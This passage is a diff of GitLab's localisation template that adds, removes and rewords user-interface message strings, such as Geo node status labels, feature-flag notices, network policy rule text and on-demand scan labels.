@@ -10052,7 +10381,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -10073,6 +10402,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -10082,9 +10414,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -10097,9 +10426,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -10109,9 +10435,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -10124,9 +10447,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10560,12 +10880,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10650,6 +10976,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10659,9 +10988,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10701,6 +11027,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10926,6 +11255,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -11097,30 +11429,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -11136,12 +11453,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -11169,12 +11480,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -11196,15 +11501,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11232,27 +11528,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11265,6 +11546,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11328,6 +11615,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11460,10 +11753,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11640,7 +11933,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11757,7 +12050,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -12039,6 +12335,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12315,7 +12614,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12528,6 +12827,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12543,6 +12845,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12677,6 +12982,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12833,6 +13141,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12986,6 +13300,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -13001,6 +13318,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -13013,13 +13333,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -13028,21 +13348,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -13055,6 +13378,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -13073,6 +13399,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -13148,6 +13477,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13214,6 +13546,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13230,7 +13565,7 @@ msgstr[3] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13257,6 +13592,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13269,13 +13610,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13305,7 +13643,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13317,9 +13655,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13416,6 +13760,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13455,6 +13832,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13554,9 +13934,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13698,6 +14075,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13740,6 +14120,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13755,6 +14138,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -14043,7 +14429,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14275,7 +14661,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14386,10 +14772,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14416,6 +14802,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14479,9 +14868,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14497,9 +14883,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14555,6 +14938,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14576,6 +14962,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14627,7 +15016,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14678,6 +15067,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14693,6 +15088,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14777,9 +15175,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14891,9 +15286,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -15029,6 +15421,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -15038,9 +15439,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -15068,15 +15466,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -15092,6 +15490,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -15155,6 +15556,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15287,6 +15709,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15389,6 +15817,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15398,9 +15832,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15434,9 +15865,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15450,9 +15887,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15480,6 +15914,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15504,6 +15941,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15582,6 +16022,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15634,12 +16077,18 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15805,6 +16254,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15850,6 +16308,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -16039,12 +16500,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -16054,6 +16548,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -16066,6 +16563,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -16084,12 +16584,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -16114,9 +16620,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -16129,9 +16641,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16526,12 +17083,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16619,18 +17182,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16778,9 +17335,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16820,9 +17374,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16865,21 +17416,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16889,25 +17446,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
